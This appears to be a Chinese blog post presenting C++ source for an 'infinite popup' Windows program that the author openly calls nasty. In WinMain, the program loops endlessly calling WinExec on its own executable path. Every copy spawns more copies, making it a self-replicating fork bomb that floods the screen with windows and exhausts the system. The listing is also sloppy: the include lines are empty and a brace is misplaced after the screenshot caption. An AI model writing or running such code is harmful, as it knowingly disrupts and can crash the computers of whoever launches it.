Windows无限弹窗程序

最近一直在学习 Windows编程,结果就写了一个恶心人的弹窗小程序。技术是一把双刃剑,用的好就是正途,用的不好就是害人。

#if defined(UNICODE) && !defined(_UNICODE)
    #define _UNICODE
#elif defined(_UNICODE) && !defined(UNICODE)
    #define UNICODE
#endif

#include
#include
#include

/*  Declare Windows procedure  */
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);

HWND hwnd;
int cxClient, cyclient;

int WINAPI WinMain (HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR szCmdLine,
                     int iCmdShow)
{
    //char path[255] = {0};
    //GetModuleFileNameA(GetModuleHandle(NULL),path,255);
    static TCHAR szAppName[] = TEXT("RndRctMT");
    MSG msg;
    WNDCLASS wndclass;    //定义一个窗口对象

    wndclass.style         = CS_HREDRAW | CS_VREDRAW;
    wndclass.lpfnWndProc   = WndProc;
    wndclass.cbClsExtra    = 0;
    wndclass.cbWndExtra    = 0;
    wndclass.hInstance     = hInstance;
    wndclass.hIcon         = LoadIcon (NULL, IDI_APPLICATION);
    wndclass.hCursor       = LoadCursor(NULL,IDC_ARROW);
    wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
    wndclass.lpszMenuName  = NULL;
    wndclass.lpszClassName = szAppName;

    if(!RegisterClass (&wndclass))
    {
        MessageBox(NULL,"This program requires Windows NT",szAppName,MB_ICONERROR);
        return 0;
    }

    hwnd = CreateWindow(szAppName,TEXT("Random Rectangles"),
                        WS_OVERLAPPEDWINDOW,
                        CW_USEDEFAULT,CW_USEDEFAULT,
                        CW_USEDEFAULT,CW_USEDEFAULT,
                        NULL,NULL,hInstance,NULL);

      ShowWindow(hwnd,iCmdShow);
      UpdateWindow(hwnd);
      char path[255]={0};
      GetModuleFileNameA(GetModuleHandle(NULL),path,255);   //获取文件路径
      int i=0;
     

        for(;;)

        WinExec(path,SW_SHOW);

    while(GetMessage(&msg,NULL,0,0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return msg.wParam;
}

void Thread(void *pvoid)
{
    HBRUSH hBrush;
    HDC  hdc;
    int xLeft,xRight,yTop,yBottom,iRed,iGreen,iBlue;
    while(TRUE)
    {
        if(cxClient !=0 || cyclient != 0)
        {
            xLeft = rand() % cxClient;
            xRight = rand() % cxClient;
            yTop = rand() % cxClient;
            yBottom  = rand() % cxClient;
            iRed = rand() &255;
            iGreen = rand() & 255;
            iBlue = rand() &255;

            hdc = GetDC (hwnd);
            hBrush = CreateSolidBrush(RGB(iRed,iGreen,iBlue));
            SelectObject(hdc,hBrush);
            Rectangle(hdc,min(xLeft,xRight),min(yTop,yBottom),max(xLeft,xRight),max(yTop,yBottom));
            ReleaseDC(hwnd,hdc);
            DeleteObject(hBrush);
        }
    }
}


LRESULT CALLBACK WndProc(HWND hwnd,UINT message, WPARAM wParam, LPARAM lParam)
{
    switch (message)
    {
    case WM_CREATE:
        _beginthread(Thread,0,NULL);
        return 0;
    case WM_SIZE:
        cxClient = LOWORD(lParam);
        cyclient = HIWORD(lParam);
        return 0;
    case WM_DESTROY:
        PostQuitMessage(0);
        return 0;
    }
    return DefWindowProc(hwnd,message,wParam,lParam);


效果图:

Windows无限弹窗程序_第1张图片
}



你可能感兴趣的:(c++基础)